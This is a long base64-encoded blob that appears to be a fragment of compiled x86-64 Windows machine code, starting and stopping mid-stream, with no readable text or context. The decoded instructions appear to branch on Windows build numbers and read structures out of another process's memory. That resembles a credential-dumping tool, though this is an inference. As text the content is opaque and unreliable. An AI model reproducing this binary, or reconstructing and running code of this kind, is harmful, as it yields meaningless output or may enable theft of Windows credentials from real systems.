wAAcwlIjR3/jAMA60c9iBMAAHMJSI0dH40DAOs3PVgbAABzCUiNHT+NAwDrJz1AHwAAcwlIjR1fjQMA6xc9uCQAAEiNHbGNAwBIjQ3ajQMASA9D2QWo5P//PV8JAAB3EIE9BOoHAAAASFN2BEiDwzBIiwXjGQgASIlFr0iLBfgZCABIiUWnSIXAdBNBuAQAAABIjVWnSI1Nl+jEE/n/M/85fXcPhrYBAABIjTWKGAgASIsTuUAAAACLx0jB4ARIAwW9GQgASIlFp0iNRcdIiUWXSIl1n/8Vv3oCAEiJRbdIhcAPhGkBAABBuAgAAABIjVWnSI1Nl+hnE/n/hcAPhEQBAABIi0WvSItNx0iJRZ/pJQEAAEWF9g+EKgEAAEyLA0iNVZdIjU236DUT+f+FwA+EEgEAAEyLRbeLQwhJA8BIiUXni0MMQosMAItDEIlN/0KLDACLQxhJA8CJTQOLSxRIiUX3SQPIi0McSIlN70qLFACLQyBIiVUHSosUAItDJEiJVQ9KixQAi0MoSIlVF0qLFACLQyxJA8BIiVUfSIsVthgIAEiJRSfo7Tb5/0iLFaYYCABIi0336N02+f9IixWWGAgASItNJ+jNNvn/SIsVhhgIAEiNTQ/oPTf5/0mL10iNTddB/9RIi03vRIvwSItJCEiFyXQG/xVleQIASItN90iLSQhIhcl0Bv8VUnkCAEiLRSdIi0gISIXJdAb/FT95AgBIi00PSIXJdAb/FTB5AgBIi0W3SIsISIlNl0g7TacPhc3+//9Ii023/xUReQIA/8c7fXcPglT+//+LdX9MjZwkwAAAAIvGSYtbMEmLczhJi+NBX0FeQVxfXcPMSIlcJAhIiWwkEEiJdCQYV0iD7CCDeSgDSIv6SIvxdFnobwAAADPbOV8Idk1IiwdIixTYg3pAAHQ5SI0FrIkDAEiLBNiDeBAAdChIixJIjQ3oAwcA6O8a+f9Iiw9IixTZSIvO/1IISI0NlwQDAOjWGvn//8M7Xwhys0iLXCQwuAEAAABIi2wkOEiLdCRASIPEIF/DzEyL3FNIg+xQSItBEEiL2USLSShIjQ3OiAMARIsAi1AESItDUEmJQ/BIi0MgSYlD6EiLQxhJiUPgi0MsiUQkMEqLBMlEi8pJiUPQSI0N9wQHAEWJQ8joWhr5/0iNDQ8GBwDoThr5/0iNS0hIhcl0Behggvn/SI0N9QMDAOg0Gvn/SI0NGQYHAOgoGvn/SItLOEiFyXQF6JKC+f9IjQ3PAwMASIPEUFvpCRr5/8xIiVwkCFVIi+xIg+xw6ML3//+DZSAAi9hIg2XQAEiNReBIiw10FggAD1fASIlF8EiNBUYVCABIiUX4SIlN2PMPf0XghdsPiK0AAACDPWrbBwAAD4SUAAAASI1FIEG5BQAAAEiJRCQ4TI0F3tUHAEiDZCQwAEiNRdBIg2QkKABIjRUX2wcASI0NEBYIAEiJRCQg6OodAACFwHRJSItF0EiNVdBIY00gQbgQAAAASI0MyEiJTdBIjU3w6OcP+f+FwHQ3SItN4EiNFeCNBQDoNwAAAEiLTehIjRVIBQcA6CcAAADrFUiNDVIFBwDrB0iNDekFBwDoEBn5/4vDSIucJIAAAABIg8RwXcNIhckPhMADAABIi8RIiVgISIlwEEyJcBhVSI1ouEiB7EABAABIiwVpFQgASIlEJDhIjUQkQEiJRCQgSI0FMxQIAEiJTCQwSI0NBwYHAEiJRCQo6KkY+f+DPT4VCAAGSI1UJDBIjUwkIA+DEQEAAEiNRaBBuBgAAABIiUQkIOgaD/n/hcAPhCcDAACLRaT/yI0MgI0MzUAAAACL8YvRuUAAAAD/FSx2AgBIi9hIhcAPhP0CAABEi8ZIiUQkIEiNVCQwSI1MJCDo0Q75/4XAD4TVAgAAi1MESI0NlwUHAOgeGPn/M/Y5cwQPhrsCAABMjTS2QotM8yjo9fr9/0iL0EiNDY8FBwDo9hf5/0qLRPM4uUAAAABIiUQkMEKLVPMw/xWwdQIASIlEJCBIhcB0NUaLRPMwSI1UJDBIjUwkIOhaDvn/hcB0EkKLVPMwRTPASItMJCDocH75/0iLTCQg/xU5dQIASI0NUgEDAOiRF/n//8Y7cwQPgnP////pKQIAAIE9GxQIADk4AABBuCgAAAAPgw8BAABIjUQkQEiJRCQg6PgN+f+FwA+EBQIAAItEJET/yI0MQMHhBIPBWIvxi9G5QAAAAP8VCnUCAEiL2EiFwA+E2wEAAESLxkiJRCQgSI1UJDBIjUwkIOivDfn/hcAPhLMBAACLUwRIjQ11BAcA6PwW+f8z9jlzBA+GmQEAAEyNNHZNA/ZCi0zzQOjQ+f3/SIvQSI0NagQHAOjRFvn/SotE81C5QAAAAEiJRCQwQotU80j/FYt0AgBIiUQkIEiFwHQ1RotE80hIjVQkMEiNTCQg6DUN+f+FwHQSQotU80hFM8BIi0wkIOhLffn/SItMJCD/FRR0AgBIjQ0tAAMA6GwW+f//xjtzBA+CcP///+kEAQAASI1F4EiJRCQg6OoM+f+FwA+E9wAAAItF5P/Ia8g4g8Fgi/GL0blAAAAA/xUAdAIASIvYSIXAD4TRAAAARIvGSIlEJCBIjVQkMEiNTCQg6KUM+f+FwA+EqQAAAItTBEiNDWsDBwDo8hX5/zP2OXMED4aPAAAAi8ZMa/A4QYtMHkjox/j9/0iL0EiNDWEDBwDoyBX5/0mLRB5YuUAAAABIiUQkMEGLVB5Q/xWCcwIASIlEJCBIhcB0NUWLRB5QSI1UJDBIjUwkIOgsDPn/hcB0EkGLVB5QRTPASItMJCDoQnz5/0iLTCQg/xULcwIASI0NJP8CAOhjFfn//8Y7cwQPgnH///9Ii8v/FetyAgBMjZwkQAEAAEmLWxBJi3MYTYtzIEmL413DzMxIiVwkCFVWV0iNbCS5SIHsoAAAAOjn8v//SINl9wBIjR1j2wcASINlBwCL+IE9ohEIAEAfAABIjQVrEAgASIsNhBEIAEiJRQ9IjQXp2gcASA9D2EiJTf9Ig2V/AEiDZecASINl7wCF/w+IdAEAAIN7QAAPhF4BAABIg2QkOABIjUXvQIpzREiNUyBIiUQkMEyNBXLSBwBIjUXnQbkGAAAASIlEJChIjQ0cEQgASI1Ff0iJRCQg6PIYAACFwA+ECwEAAEAPtsZIjVX3iUNESI1NB0iNRXdBuAQAAABIiUUHSItFf0iJRffo5Ar5/4XAD4TuAAAAg313AA+ExgAAAEiNDdsBBwDoKhT5/0iNRRe7FAAAAEiJRQdIjVX3SItF50iNTQdEi8NIiUX36KEK+f+FwA+EqwAAAEiNRS9Ei8NIiUUHSI1V90iLRe9IjU0HSIlF9+h5Cvn/hcAPhIMAAABIjQ2aAQcA6MkT+f9FM8BIjU0Xi9Pog3r5/0UzwEiNTS+L0+h1evn/SI0NggEHAOihE/n/RTPASI1NF4vT6Ft6+f9IjQ1onAUA6IcT+f9FM8BIjU0vi9PoQXr5/0iNDS79AgDrGUiNDV0BBwDrEEiNDcQBBwDrB0iNDVsCBwDoUhP5/0iLnCTAAAAAi8dIgcSgAAAAX15dw8xIiVwkCFVIjWwksEiB7FABAADo8fD//0iLDbIPCACL2EiDZCRQAEiNRXCBPawPCACwHQAASIlEJEBIjUQkcEiJTCRYSI0NZg4IAEiJRCRgSIlMJEhIiUwkaA+C0gAAAIXbD4jWAAAAgz2C1AcAAA+EtAAAAEiDZCQ4AEiNRCRQSINkJDAATI0FdNQHAEiDZCQoAEiNFTfUBwBBuQIAAABIiUQkIEiNDSUPCADoBBcAAIXAdGtBuAgAAABIjVQkUEiNTCRA6A8J+f+FwHRwSItNcEiLBfgOCABIiUwkQEiJRCRISDtMJFB0VEG44AAAAEiNVCRASI1MJGDo2gj5/4XAdDtIjUwkcOjsAQAASItEJHBIiUQkQEg7RCRQdczrHkiNDaoBBwDrEEiNDSECBwDrB0iNDZgCBwDo/xH5/4vDSIucJGABAABIgcRQAQAAXcNMi9xJiVsISYlrEEmJcxhJiXsgQVZIg+xASIsFYA4IAEiL2UiLCTP/SYlD4EmL6UiNBSoNCABJiUvYRYvwSYlD8Dl7CHQLSIXJdAZIjXMQ6xdIjXMQZjk+D4QtAQAASDl7GA+EIwEAAEiNDXkCBwDoeBH5/0iNBYUCBwBFhfZIjQ2LAgcASIvVSA9FyOhbEfn/SIsV6A0IAEiLzuggLPn/hcB0RUiNDXUCBwDoPBH5/0iLzujcdPn/hcB0EUiL1kiNDfJZBADoIRH5/+sSD7cWQbgBAAAASItLGOjVd/n/SItLGP8Vn24CAEiNDbj6AgDo9xD5/zl7CA+EjQAAAEg5Ow+EhAAAAItTCLlAAAAA/xWrbgIASIvwSIXAdG5Ei0MISI1UJCBIjUwkMEiJRCQw6FMH+f+FwHRJOX4IdkSLx0iNHECLTJ4M6I/z/f9Ii9BIjQ3ZAQcA6JAQ+f+LTJ4URTPAi1SeEEgDzuhFd/n/SI0NMvoCAOhxEPn//8c7fghyvEiLzv8V/W0CAEiLXCRQSItsJFhIi3QkYEiLfCRoSIPEQEFew8zMSIlcJAhIiXQkEFdIg+wgSIsVwgwIAEiNcRBIi9lIi87o8yr5/4XAD4TlAAAASIsVpAwIAEiNSyDo2yr5/4XAD4TDAAAATI1DIEiL1kiNDZWoBQDo7A/5/0iLFXkMCABIjXtYSIvP6C0r+f+FwHQdSI0NqpgFAOjJD/n/SIsP6Dl4+f9Iiw//FVRtAgBIjQ2x2wMA6KwP+f9IjUtgTIvORTPASI0Vd6gFAOiq/f//vwEAAABIjYuAAAAARIvHSI0VTKgFAEyLzuiM/f//SI2LoAAAAEyLzkUzwEiNFWCoBQDoc/3//0iNi8AAAABMi85Ei8dIjRU3qAUA6Fr9//9Ii0so/xXYbAIASItLGP8VzmwCAEiLXCQwSIt0JDhIg8QgX8PMzEyL3FVJjWupSIHskAAAAEmDY6AASIsBSINlJwBIg2UXAEiJRS9IjQVoCggASIlFH0iNRQ9JiUOYSI1FB0mJQ5BIjUX/SYlDiOhLEwAAhcAPhAABAABIi0X/SIlFJ0iFwA+E+wAAAEiNRTdBuBAAAABIjVUnSIlFF0iNTRfoOwX5/4XAD4TYAAAASI1NN+jSdvn/SI0NQ/gCAOiCDvn/SItFB0iJRSdIhcAPhLIAAABIjUVfQbgEAAAASI1VJ0iJRRdIjU0X6PIE+f+FwA+EjwAAAIN9XwAPhIUAAABIi0UPSIlFJ0iFwHR4SI1FJ0G4CAAAAEiNVSdIiUUXSI1NF+i4BPn/hcB0WYtVX7lAAAAA/xXeawIASIlFF0iFwHRCRItFX0iNVSdIjU0X6IwE+f+FwHQVRItNf0iNTTdEi0VfSItVF+h7ov7/SItNF/8VaWsCAOsMSI0NKP8GAOi/Dfn/SIHEkAAAAF3DzMxIiVwkCEiJdCQQV0iD7DBIi9qL+ehn6///SINkJCAATI0FWvAEAEUzyUiL04vPi/Do+3b5/4v4hfZ4eoE9EwoIAEAfAABIjQWM0wcASI0d1dMHAEgPQ9iDeyAAdFhIjQ00qgUA6EsN+f9BuQUAAACJfCQgTI0F/swHAEiL00iNDcQJCADoC/7//0iNDRCrBQDoHw35/0G5BgAAAIl8JCBMjQVCxwcASIvTSI0NmAkIAOjf/f//SItcJECLxkiLdCRISIPEMF/DzEiJXCQIVVZXQVRBVkiNbCTASIHsQAEAAEUz5EiNRegPV8BIiUQkYEyNjYgAAABMiWQkeEyNBZ7+BgBEiWWA8w9/RCRoTImliAAAAEiL2kyJZCQgi/noDnb5/4XAdB1Ii42IAAAARTPAM9JEiWXs6DW/AACJRejp0gAAAEyNTYhMiWQkIEyNBQ37BABIi9OLz+jTdfn/hcAPhKQAAABMjU2QTIlkJCBMjQW7tQQASIvTi8/osXX5/4XAdH1FM8lMiWQkIEyNBS7YBABIi9OLz+iUdfn/i/CFwHQK6N1VAQBIiwjrB0iNDbXJBQBIiUwkIEyNTZiLz0yNBesEBgBIi9PoY3X5/0yLTZhIjQ1gCQQATItFkEiNBV0JBABIi1WIhfZID0XBSI0NxP0GAEiJRCQg6LYL+f/rG0iNDSH+BgDrB0iNDYj+BgDonwv5/4u1gAAAAEyNTCRQTIlkJCBMjQUc9AQASIvTi8/o+nT5/0mDzv+FwA+EhgAAAIE9yA8IAFgbAABybkiLTCRQSYvGSP/AZkQ5JEF19kiD+CBBi9QPlMJ1FESLykG4EAAAAEiNVcDo+nD5/4vQhdJ0L0iNRcBIjQ15/gYASIlEJHjoGwv5/0iLTCR4RTPAQY1QEOjScfn/SI0Nv/QCAOsQSI0Nbv4GAOsHSI0N9f4GAOjsCvn/TI1MJFBMiWQkIEyNBV/zBABIi9OLz+hNdPn/hcAPhIYAAACBPR8PCABYGwAAcm5Ii0wkUEmLxkj/wGZEOSRBdfZIg/hAQYvUD5TCdRREi8pBuCAAAABIjVUY6FFw+f+L0IXSdC9IjUUYSI0NQP8GAEiJRCRw6HIK+f9Ii0wkcEUzwEGNUCDoKXH5/0iNDRb0AgDrEEiNDTX/BgDrB0iNDbz/BgDoQwr5/0yNTCRQTIlkJCBMjQWm8gQASIvTi8/opHP5/4XAdR9MjUwkUEyJZCQgTI0FXyYEAEiL04vP6IVz+f+FwHRsSItMJFBJ/8ZmRjkkcXX2SYP+IEGLxA+UwHUSRIvISI1V0EG4EAAAAOicb/n/hcB0L0iNRdBIjQ39/wYASIlEJGjovwn5/0iLTCRoRTPAQY1QEOh2cPn/SI0NY/MCAOsHSI0N4v8GAOiZCfn/TDlkJGh1Gkw5ZCR4dRNMOWQkcHUMSI0N4QMHAOn0AQAATDmliAAAAHQbSI0NTAAHAOhjCfn/SI1MJGDo9QEAAOnVAQAASItNiEiFyQ+EvAEAAEiLVZhIjUWoRIlkJEi7AgAAAEiJRCRASI0FLY4DAEiJRCQ4SItFkEiJRCQwRI1DAkiJTCQoi8uJXCQg6P8d+f+FwA+EXgEAAESLRbxIjQ0wAAcAi1W46OwI+f9Ii02oTI1EJFiLxvfYG9Ij04HKCAACAP8V614CAIXAD4T8AAAASItMJFhIjYWAAAAARI1LNkiJRCQgTI1F4I1TCP8VmV4CAIXAD4SxAAAASI1MJGDoLwEAAEQ5ZYAPhIwAAACF9nR8SItMJFhIjUWgSIlEJChEjUsBRTPAiVwkII1TCv8Vb14CAIXAdD5Ii1WgM8n/FY9eAgCFwHQOSI0NvP8GAOhDCPn/6xT/FfdlAgCL0EiNDeb/BgDoLQj5/0iLTaD/Fc9lAgDrFP8V12UCAIvQSI0NNgAHAOgNCPn/M9LrEUiLTaj/FSNtAgDrJboVAABASItNqP8VIm0CAOsU/xWiZQIAi9BIjQ1xAAcA6NgH+f9Ii0wkWP8VeWUCAOsU/xWBZQIAi9BIjQ3QAAcA6LcH+f9Ii02w/xVZZQIASItNqP8VT2UCAOsi/xVXZQIAi9BIjQ0WAQcA6I0H+f/rDEiNDYgBBwDofwf5/0iLnCRwAQAAM8BIgcRAAQAAQV5BXF9eXcPMzEiJXCQISIl0JBhXSIPscEiL8TPb6Bfl//+FwA+ITgEAAEiLBdADCACDOAEPhT4BAABIjQ1IAgcA6CcH+f9IiwW0AwgARI1LOEyNRCQwM9JIi0gISI2EJIgAAABIiUQkIEiLCf8Vh2sCAIXAD4iEAAAAi1wkNIPjKHQOSI0NJwIHAOjeBvn/63tIiwVpAwgASItICEiLCf8VjGACAItMJDQz0oPJKESLwP8VsmMCAEiL+EiFwHQwSIsNOwMIAEiLSQhIiwn/FUZkAgBIiw0nAwgASItRCEiNDfQBBwBIiTrogAb5/+sh/xU0ZAIASI0N9QEHAOsHSI0NXAIHAIvQ6GEG+f+F23R0SIsGSI0NtwIHAItQBESLykSLAESJRCQg6EAG+f9IjQ3dAgcA6DQG+f9Ii9ZIjQ3iKwAA6OHn//9IjQ3a7wIA6BkG+f9IjQ3eAgcA6A0G+f9Ii9ZIjQ2PHQAA6Lrn//9IjQ2z7wIA6wdIjQ3iAgcA6OkF+f9MjVwkcEmLWxBJi3MgSYvjX8PMzMxIiVwkEFVWV0FUQVVBVkFXSIvsSIPsQDPAQYvwSIlFWEyL+kiJRUBIi9lEi/BEi+iL+ESL4EiFyQ+EkQYAAEmLTzhIjVVA/xUEWwIAD7rmGw+DugIAAEiLewhEi/ZBgeYAAAAHSIX/D4Q/BgAAD7rmHHIUSIsFbggIAEiLzw+3E0yLQCBB/xBBgf4AAAABD4SRAAAAQYH+AAAAAnQiSI0NxAMHAOgrBfn/D7cTQbgBAAAASIvP6OJr+f/p7QUAAA+3E0yNDXdg+f9MjUVYSIvP6KtJ+f9FM/+FwA+EzAUAAEiLVVhBi99EOTp2JIvDSI0MRQEAAABIA8hIjQzKSItVQOhGBwAASItVWP/DOxpy3EiNFVVg+f9IjU1Y6HxK+f/phwUAAEmLB0G+OTgAAIF4EAAoAABzCUiNHdp6AwDrKIF4EFopAABzCUiNHfh6AwDrFkQ5cBBIjR0bewMASI0NRHsDAEgPQ9lIYwtIi0Q5CEiFwHQISAPHSIlEOQhIY0MESIvISItUOAhIhdJ0DEiNBDpIiUQ5CItDBExjA0iNDdQBBwBIY9BMA8dIA9foIgT5/0Q5Ywh0SkhjQwhEOCQ4dEBJiwdIjU8UTGNDLEQ5cBBBD7cUOEgPQs9Ig8ECSQPIjYJg////qe////90CujtBwAA6bQEAADoKwcAAOmqBAAASGNDEEUz/0G+EAAAAEQ4PDh0HkiNDawBBwDoswP5/0hjSyBFM8BIA89Bi9boaWr5/0hjQwxEODw4dB5IjQ2sAQcA6IsD+f9IY0scRTPASAPPQYvW6EFq+f9IY0MURDg8OHQfSI0NrAEHAOhjA/n/SGNLJEUzwEgDz0GNUBToGGr5/0Q5exh0KEhjQxhEODw4dB5IjQ2lAQcA6DQD+f9IY0soRTPASAPPQYvW6Opp+f9MOX1AD4TwAwAASGNDDIoMOITJdQ5IY0MURDg8OA+E1wMAAEhjQxREODw4dAlMY0skTAPP6wNNi8+EyXQJTGNDHEwDx+sDTYvHSItNQDPSTIl8JCjoIXv9/+mcAwAAD7rmFw+DqwAAAEiNDW8BBwDorgL5/0Uz/0w5ewh0SEiLFTL/BwBIi8voah35/4XAdDUPuuYcchZIiwWZBQgAD7dTAkiLSwhMi0AgQf8QSIvTSI0NSAEHAOhnAvn/SItLCP8V+V8CAEiLUxhIhdIPhCgDAACLQgxIg8AISI0MQotCCEiDwAhIiUwkIEiNDUYBBwBMjQxCi0IESIPACEyNBEKLAkiNFEJIg8IQ6BQC+f/p5wIAAA+65hUPg9MAAACLC+ju5P3/SIvQSI0NsAEHAOjvAfn/D7dDCGaJRfJmiUXwZoXAD4SLAAAASItDEEiNTfBIixVf/gcASIlF+OiWHPn/hcB0ew+65hRzMEiDewhkdilIgXsIjwAAAHcOSItd+EiLy+jvBAAA6z+LUwhIi134SIvL6JYFAADrLkiLXfgPuuYcchVIiwWLBAgASIvLD7dV8kyLQCBB/xAPt1XwRTPASIvL6CJo+f9Ii8v/Fe1eAgDrDEiNDRQBBwDoQwH5/0iNDfjqAgDoNwH5/+kKAgAAD7rmFHNUDxBDKPMPf0MgRTP/TDl7CHUQTDl7GHUKTDl7KA+E4gEAAEiLFZf9BwBIi8vozxv5/4XAD4SRAAAASIvL6JNk+f+FwA+EgQAAAA+65h5yeEyL8+t2D7rmEHOvi0soRTP/hcl0VoPpAXQeg/kBdA5IjQ3LAAcA6LIA+f/rkA8QQzDzD39DIOuFD7dDMEiNTfBmiUXyZolF8EiLQzhEiXsgTIl7KEiLFRb9BwBIiUX46E0b+f+FwEwPRWX4RIl7IEyJeyjpRf///0yL60iLFe/8BwBMjXsQSYvP6CMb+f+FwHQaSYvP6Otj+f+FwHQOD7rmHnIFTYvv6wNNi/dIixW+/AcASI1LIOj1Gvn/hcB0JQ+65hxyFkiLBSQDCAAPt1MiSItLKEyLQCBB/xBIjXsgSIX/dQoPuuYdD4KZAAAASI0FuwAHAED2xgFIjQ3QAAcATYvFSA9FyEmL1ujN//j/SIX/dB5Ii8/oaGP5/4XAdRIPtxdEjUABSItPCOh0Zvn/6zIPuuYWcx1Ihf90GA+3F0iNDYHXBABMi0cISNHq6In/+P/rD0iL10iNDUlIBADoeP/4/02F9nQISYvO6IsAAABNheR0EUmLzOiyAgAASYvM/xXxXAIATYX2dApJi04I/xXiXAIATYXtdApJi00I/xXTXAIASIX/dApIi08I/xXEXAIAQPbGAnQMSI0N1+gCAOgW//j/SItNQEiFyXQU/xWjXAIA6wxIjQ1iAAcA6Pn++P9Ii5wkiAAAAEiDxEBBX0FeQV1BXF9eXcPMSIlcJBhIiXQkIFdIg+wgM/ZIi9lmOTEPhCoBAABIOXEID4QgAQAAD7cRjU5ASIPCAv8VfVwCAEiL+EiFwA+EBAEAAEQPtwNIi8hIi1MI6DFSAABIi8//FchVAgCFwA+E2gAAAEiNDfH/BgDocP74/0yNRCQ4SIvPSI1UJDD/FZlVAgCFwA+EnwAAAItMJDCD6QF0XoPpAXRDg+kBdB+D+QF0EUiNDfoABwDoMf74/+mKAAAASI0NuQAHAOvtSI0NkAAHAOgX/vj/SItMJDhBuAEAAACLEUiLSQjrPkiLVCQ4SI0NPAAHAEiLEujw/fj/60xIi0QkOIsQg/oYdSNIjQ1//wYA6Nb9+P9Ii0wkOEiDwQRFM8BBjVAU6Ilk+f/rHUiNDXz/BgDrD/8VbFsCAIvQSI0NewAHAOii/fj/SIvP/xU1WwIASItcJEBIi3QkSEiDxCBfw8xIhckPhNEAAABIiVwkCEiJdCQQV0iD7DAz9kiL+kiL2WY5cQoPhKEAAACLUQREi8JBg+gBdF5Bg+gBdD5Bg+gBdCpBg/gBdA5IjQ3FAAcA6DT9+P/rZUiNDZf7BgDoJv34/0iF/3RURTPA6z1IjQ15AAcA6BD9+P/rQUiNDUv7BgDoAv34/0iF/3QwTItLEEUzwOsYSI0NCfsGAOjo/Pj/SIX/dBZMi0MQRTPJM9JIiXQkKEiLz+gldf3/D7dTCkUzwEiLSxDohWP5/0iLXCRASIt0JEhIg8QwX8PMQFNIg+wwi1EITI1BZEiL2UiNDUEABwDokPz4/0iNDXUABwDohPz4/0UzwEiNSxxBjVAw6Dxj+f9IjQ2BAAcA6Gj8+P+LQwhIjUtki1NgSAPIRTPA6Btj+f9Ei0tgSI0NhAAHAESLQwiLE+g9/Pj/i0MYSI0NpwAHAESLSxBEi0MMi1MEiUQkKItDFIlEJCDoGPz4/0UzwEiNS0xBjVAQ6NBi+f+LU1xIjQ3aAAcASIPEMFvp9Pv4/0iJXCQIV0iD7CBIi/mL2kiNDdIABwDo2fv4/0UzwEiLz0GNUBDokmL5/0iNDd8ABwDovvv4/0UzwEiNTxBBjVAQ6HZi+f9IjQ27/wYA6KL7+P+NU+BFM8BIjU8gSItcJDBIg8QgX+lRYvn/zEiJXCQQSIl0JBhVV0FXSIvsSIPsYEyLEUiNBd32BwBIg2XAADPbSINl0ABIi/pIg2X4AEiJRdhIiwJIiUXgi0IQSIlF8DPATIlVyEyJVehNhckPhBgBAACLSRBBOQh3D0mL2Ej/wEmDwFBJO8Fy7EiF2w+E+AAAAEiLQxBMjUXgi1MISI1N0EiJRdDozPP4/4XAD4TYAAAASGNDKEgDRfhIi01YSIlFwEiFyXQFi0MsiQFIjUUgQb8EAAAARYvHSIlF0EiNVcBIjU3Q6FTx+P+JRySFwHQVSItVwEiLRUBJA9dIY00gSAPRSIkQSIt1SEiF9nQ5SGNDLEiNVcBIA0X4SI1N0EiJRcBNi8dIjUUgSIlF0OgL8fj/iUckhcB0DkhjTSBJA89IA03ASIkOSIt1UEiF9nQ5SGNDMEiNVcBIA0X4SI1N0EiJRcBNi8dIjUUgSIlF0OjJ8Pj/iUckhcB0DkhjTSBJA89IA03ASIkOi0ckTI1cJGBJi1soSYtzMEmL40FfX13DSIlcJAhIiXQkEEiJfCQYVUFWQVdIi+xIg+xAM9uL8kiNRThIiV3wSIlF4EiL+UiNBT/1BwBNi/BIjVYISIlF6I1LQEiJRfj/FYdXAgBIiUXwSIXAdHJEjUMISIvXSI1N4Og28Pj/hcB0VEiLTThIi0cISIlN4EiJRehIOw90P0yNRghIjVXgSI1N8OgM8Pj/hcB0KkiLTfCLBA5BOQZ1CotEDgRBOUYEdA5IiwFIiUXgSDsHdAzrx0iLXeDrBEiLTfD/FdRWAgBIi3QkaEiLw0iLXCRgSIt8JHBIg8RAQV9BXl3DTIvcSYlbCEmJaxBJiXMYV0iB7KAAAABJjUOIi+pIiUQkIEmL8EiL+UiNBWH0BwBIi9FJiUOAM9tIjUwkIESNQ2jocu/4/4XAdBhIi0QkQEyLxovVSIkHSIvP6CEAAABIi9hMjZwkoAAAAEiLw0mLWxBJi2sYSYtzIEmL41/DzMxIiVwkCEiJbCQQSIl0JBhXQVZBV0iB7KAAAABIjUQkMIvqSIlEJCBJi/BIi/lIjQXc8wcASIvRSIlEJCgz20iNTCQgRI1DaOjs7vj/hcAPhJ0AAABIi0QkUEiJB0iFwHRRSI1VCI1LQP8VAlYCAEiJRCQgSIXAdDpMjUUISIvXSI1MJCDor+74/0iLTCQghcB0FYtEDQA5BnUNi0QNBDlGBEgPRFwkUP8Vi1UCAEiF23U/SItEJDhIiQdIhcB0FUyLxovVSIvP6DT///9Ii9hIhcB1HUiLTCRASIkPSIXJdBBMi8aL1UiLz+gS////SIvYTI2cJKAAAABIi8NJi1sgSYtrKEmLczBJi+NBX0FeX8PMzMxIg+w4SI0FaWYDAMdEJCgBAAAASI1UJCBIiUQkIEiNDRzc///oG9n//0iDxDjDzMxIiVwkGFVWV0FUQVVBVkFXSI1sJNlIgeywAAAASIsRSI1F90yLQUBMi+mDZWcASIlFp0iNBZPyBwBIiUWvTIlFl0iLAkiJRZ+BehBwFwAAcyxIjR2UZwMASI09kWcDAEiNNY5nAwBMjTWLZwMATI09iGcDAEyNJYVnAwDrX4F6ELAdAABzLEiNHXdnAwBIjT10ZwMASI01cWcDAEyNNW5nAwBMjT1rZwMATI0laGcDAOsqSI0dY2cDAEiNPWBnAwBIjTVdZwMATI01WmcDAEyNPVdnAwBMjSVUZwMATYXAD4QwAQAAQbgoAAAASI1Vl0iNTafo/Oz4/4XAD4QVAQAASI1Ft0iJRadIi0UPSIlFl0iFwA+E/AAAAEiDwAhIjVWXQbgQAAAASIlFb0iNTafowOz4/4XAD4TZAAAASItFv0iJRZdIhcAPhMgAAACLE7lAAAAA/xXSUwIASIlFp0iFwA+ErgAAAEiLTZdIO01vD4SXAAAAixdEiwOLwkiNVZdIK8hIiU2XSI1Np+hk7Pj/hcB0dItVZ0iNDf76BgDotfX4/0iLVadBuAAAQACLBg8QBBBBiwbzD39Fxw8QDBBBiwfzD39N1w+3DBBBiwQkZolN6WaJTedIiwwQSYvVSIlN70iNTcfome///4sXSItFp/9FZ0iLDAJIiU2XSDtNbw+Fcf///+sESItFp0iLyP8V31ICAEiLnCQAAQAASIHEsAAAAEFfQV5BXUFcX15dw0iD7Cgz0kiNDQ8AAADo0tb//zPASIPEKMPMzMxIi8RIiVgQSIlwGEiJeCBVSI1ooUiB7MAAAABIg2XnAEiNRQdIg2XXADP2g3koA0iL2UiLEUiJRfdIjQVA8AcASIlF/0iJRe9IiwJIiUXfi3oQD4QLAgAA6PvZ//+LBUG7BwC5QB8AADv5D0MF47oHAIXAdVc7+UiNBbK6BwBIiwtIjRX4ugcASA9D0ESNTgdIIXQkOEiNBTTxBwBIIXQkMEyNBQi7BwBIIXQkKEiJRCQg6M34//+FwHURSI0NVvoGAOhF9Pj/6YsBAABIiwX98AcASI1V10G4EAAAAEiJRddIjU336L7q+P+FwA+EZQEAAEiLRQdIOwXT8AcASIlF1w+EUAEAAL8UAAAAQbg4AAAASI1V10iNTffoier4/4XAD4QwAQAASItLEItFFzkBD4UMAQAAi0UbOUEED4UAAQAAi9ZIjQ0d+QYA6Lzz+P9IjU0f/8bo9Vv5/0iNDT75BgDopfP4/0iNVWdIjU0v/xX7UAIAhcB0CUiNTWfoElv5/4tVN7lAAAAA/xVQUQIASIlF50iFwA+EmQAAAESLRTdIjVXXSINF1zRIjU3n6PXp+P+FwHR1SItDCItVN0iLTedMi0AgQf8QSI0N+PgGAOg38/j/i1U3RTPASItN5+jwWfn/RItFN0yNTT9Ii1XnuQSAAACJfCQg6O6Q+P+FwHQqSI0N5/gGAOj+8vj/RTPASI1NP4vX6LhZ+f9Ei8dIjVU/SI1NH+goZ/3/SItN5/8VclACAEiNDYvcAgDoyvL4/0iLVQdIOxWD7wcASIlV1w+Ftf7//0iNDWrcAgDoqfL4/0yNnCTAAAAAuAEAAABJi1sYSYtzIEmLeyhJi+Ndw8zMzEiD7DhIjQVZYwMAx0QkKAEAAABIjVQkIEiJRCQgSI0NHNf//+gb1P//SIPEOMPMzEiD7DhIg2QkKABIjQWXAAAASI1UJCBIiUQkIOgMCgAASIPEOMPMzMxMi9xIg+w4g2QkVABIjQVNAgAASYlD6EmNU+hJjUMYiUwkUEiNDUIAAABJiUPw6LnT//8zwEiDxDjDzMxIg+w4SINkJCgASI0F5wIAAEiNVCQgSIlEJCBIjQ0OAAAA6InT//8zwEiDxDjDzMxIg+wo6I8JAAC4AQAAAEiDxCjDzEiJXCQISIl0JBBIiXwkGFVIi+xIg+xwSIvaSIv5M9JIjU3QRI1CMOhYPAAATIsLSI0F7uwHAEiJRchIjTVTYgMASGMFPO4HAEhp0KgAAABIY0QyFEqLDAhIiU2wSIsPSIsBSIlFuIF5EAAoAABzBUUzwOsYgXkQOTgAAEUbwEGB4AAADwBBgcAAAAEASGNMMgRIi9dJA8noQOv//0iDfbAAD4QhAQAASGMF1u0HALlAAAAASGnQqAAAAEiLlDKQAAAA/xW8TgIASIvYSIXAD4T0AAAASGMNqe0HAEiNVbBMacGoAAAASI1NwEiJRcBNi4QwkAAAAOhR5/j/hcAPhLwAAABIYwV67QcADxADSGnQqAAAAPMPf0XQSGOEMogAAABEiwQYRYXAdF8Pt4QykAAAALlAAAAAZiuEMowAAABmQQPAD7fQZolV4P8VNE4CAEiJRehIhcB0MEhjDSTtBwBED7dF4Ehp0agAAABIiUXASGOMMowAAABIjVWwSAFNsEiNTcDow+b4/0iLB